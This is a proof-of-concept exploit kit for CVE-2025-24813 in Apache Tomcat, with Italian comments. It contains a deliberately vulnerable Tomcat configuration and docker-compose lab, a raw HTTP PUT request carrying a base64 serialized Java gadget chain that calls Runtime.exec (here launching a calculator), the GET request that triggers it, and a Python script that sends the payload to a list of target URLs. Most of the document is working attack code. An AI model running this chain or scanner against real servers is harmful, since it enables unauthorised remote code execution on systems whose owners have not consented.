CVE-2025-24813

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813  # Specifica il nome del contenitore
    volumes:
      # Monta e sostituisce web.xml
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # Monta e sostituisce context.xml
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      # Aggiunge il file JAR alla directory lib
      # 
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"

docker-compose up -d

PUT /pocss/session HTTP/1.1
Host: 192.168.223.132:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(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)}}

GET / HTTP/1.1
Host: 192.168.223.132:8080
Cookie: JSESSIONID=.pocss

import base64
import requests
import sys
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def main():
    # Ottiene il parametro del percorso del file
    url_file = sys.argv[1] if len(sys.argv) > 1 else 'url.txt'
    payload_file = sys.argv[2] if len(sys.argv) > 2 else 'payload.ser'

    # Legge l'elenco degli URL di destinazione
    try:
        with open(url_file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
            
        # Validazione del formato URL
        valid_urls = []
        for url in urls:
            if not url.startswith(('http://', 'https://')):
                print(f"Avviso: {url} non è un URL valido (manca il protocollo), ignorato")
                continue
            if not url.split('//')[1]:
                print(f"Avviso: {url} non è un URL valido (manca il nome host), ignorato")
                continue
            valid_urls.append(url)
            
        if not valid_urls:
            print("Nessun URL valido da testare")
            return
            
    except FileNotFoundError:
        print(f"[+] File {url_file} non trovato")
        return

    # Legge e decodifica payload.ser
    try:
        with open(payload_file, 'rb') as f:
            datas = f.read()
        payload = base64.b64decode(datas)  # Esegue solo la decodifica base64, non la decodifica UTF-8
            
    except FileNotFoundError:
        print("File payload.ser non trovato")
        return

    # Costruisce la richiesta PUT
    headers = {
        'Content-Length': '1000',
        'Content-Range': 'bytes 0-1000/1200'
    }
    headers2 = {
        'Cookie': 'JSESSIONID=.pocs'
    }
    
    # Configura la richiesta
    proxies = {
        'http': 'http://127.0.0.1:8083',
        'https': 'http://127.0.0.1:8083'
    }
    
    # Ignora gli errori dei certificati HTTPS
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    verify_ssl = False
    
    # Statistiche
    total = len(valid_urls)
    vulnerable = 0
    
    vulnerable_urls = []
    
    for i, url in enumerate(valid_urls):
        try:
            # Invia la richiesta PUT
            response = requests.put(f"{url}/pocs/session", headers=headers, data=payload, timeout=3, proxies=proxies, verify=verify_ssl)
            
            if response.status_code != 409:
                continue
                
            # Invia la richiesta GET
            response = requests.get(url, headers=headers2, proxies=proxies, verify=verify_ssl)
            if response.status_code == 500:
                vulnerable_urls.append(url)
                vulnerable += 1
                
        except requests.exceptions.RequestException:
            continue
    
    print("\n" + "="*50)
    print(f"[+] Scansione completata!")
    print(f"[+] Totale obiettivi: \033[1;33m{total}\033[0m")
    print(f"[+] Vulnerabili: \033[1;31m{vulnerable}\033[0m")
    print(f"[+] Obiettivi sicuri: \033[1;32m{total - vulnerable}\033[0m")
    
    if vulnerable > 0:
        print("\n[+] URL vulnerabili:")
        for vuln_url in vulnerable_urls:
            print(f"  - {vuln_url}")
        
        # Scrive gli URL vulnerabili nel file
        with open('vulnerable_urls.txt', 'w') as f:
            for vuln_url in vulnerable_urls:
                f.write(vuln_url + '\n')
        print(f"[+] URL vulnerabili salvati in vulnerable_urls.txt")
    
    print("="*50)


if __name__ == "__main__":
    main()

python CVE_2025_24813.py